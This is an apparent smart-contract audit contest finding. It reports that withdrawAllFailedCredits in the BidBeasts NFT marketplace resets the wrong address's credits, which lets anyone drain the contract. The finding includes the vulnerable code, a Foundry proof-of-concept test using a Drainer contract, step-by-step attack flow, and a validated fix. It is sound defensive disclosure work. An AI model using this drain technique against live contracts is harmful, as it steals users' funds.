Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

[High] Contract Drain Vulnerability via Failed Credits Withdrawal

[High] Contract Drain Vulnerability via Failed Credits Withdrawal

Description

The withdrawAllFailedCredits function contains a critical logic error that allows any user to drain all failed transfer credits from any other user's account. The function checks the credit balance of _receiver but incorrectly resets the credits of msg.sender, enabling malicious actors to repeatedly withdraw the same credits.


// BidBeastsNFTMarketPlace.sol:244-252
// AUDIT:: ANYONE CAN WITHDRAW TO ANY ADDRESS, NOT JUST THEIR OWN.
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0; // BUG: Should be _receiver
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood:

  • Any user can exploit this vulnerability at any time

  • No special permissions or conditions required

  • An attack can be automated and repeated infinitely

  • Victims' failed credits remain untouched while the attacker drains the contract

Impact:

  • Complete drainage of the marketplace contract and users' funds

Proof of Concept

The test demonstrates a complete contract drain:

function test_Contract_Drain() public {
_mintNFT();
_listNFT();
// 1. RejectEther contract places bid that will fail to receive refunds
rejector.placeBid(address(market), TOKEN_ID);
// 2. Another bidder outbids, causing failed payout to rejector
uint256 highestBid = market.getHighestBid(TOKEN_ID).amount;
highestBid = (highestBid * 105) / 100; // 5% increase
vm.prank(BIDDER_1);
market.placeBid{value: highestBid}(TOKEN_ID);
// 3. Malicious actor drains all failed credits repeatedly
address maliciousActor = address(0x5);
vm.deal(maliciousActor, 10 ether);
uint256 startingBalance = maliciousActor.balance;
vm.startPrank(maliciousActor);
Drainer drainer = new Drainer();
drainer.drain(address(market), address(rejector));
drainer.withdrawEther();
vm.stopPrank();
// 4. Attacker profits from drained funds
assertGt(maliciousActor.balance, startingBalance, "Drain failed");
}

Attack Flow:

  1. Setup: A contract (RejectEther) that can't receive ETH places a bid

  2. Trigger: When outbid, the failed payout credits 1.1 ETH to RejectEther's account

  3. Exploit: Malicious Drainer contract repeatedly calls withdrawAllFailedCredits(rejector)

  4. Drain: Each call withdraws 1.1 ETH but never decrements the rejector's credits

  5. Profit: Attacker extracts all marketplace funds until contract balance < 1.1 ETH

Recommended Mitigation

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
- failedTransferCredits[msg.sender] = 0;
+ failedTransferCredits[_receiver] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

**Additional Security Improvement: **
Consider restricting withdrawal to only the credited address:

function withdrawAllFailedCredits(address _receiver) external {
+ require(_receiver == msg.sender, "Can only withdraw own credits");
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[_receiver] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!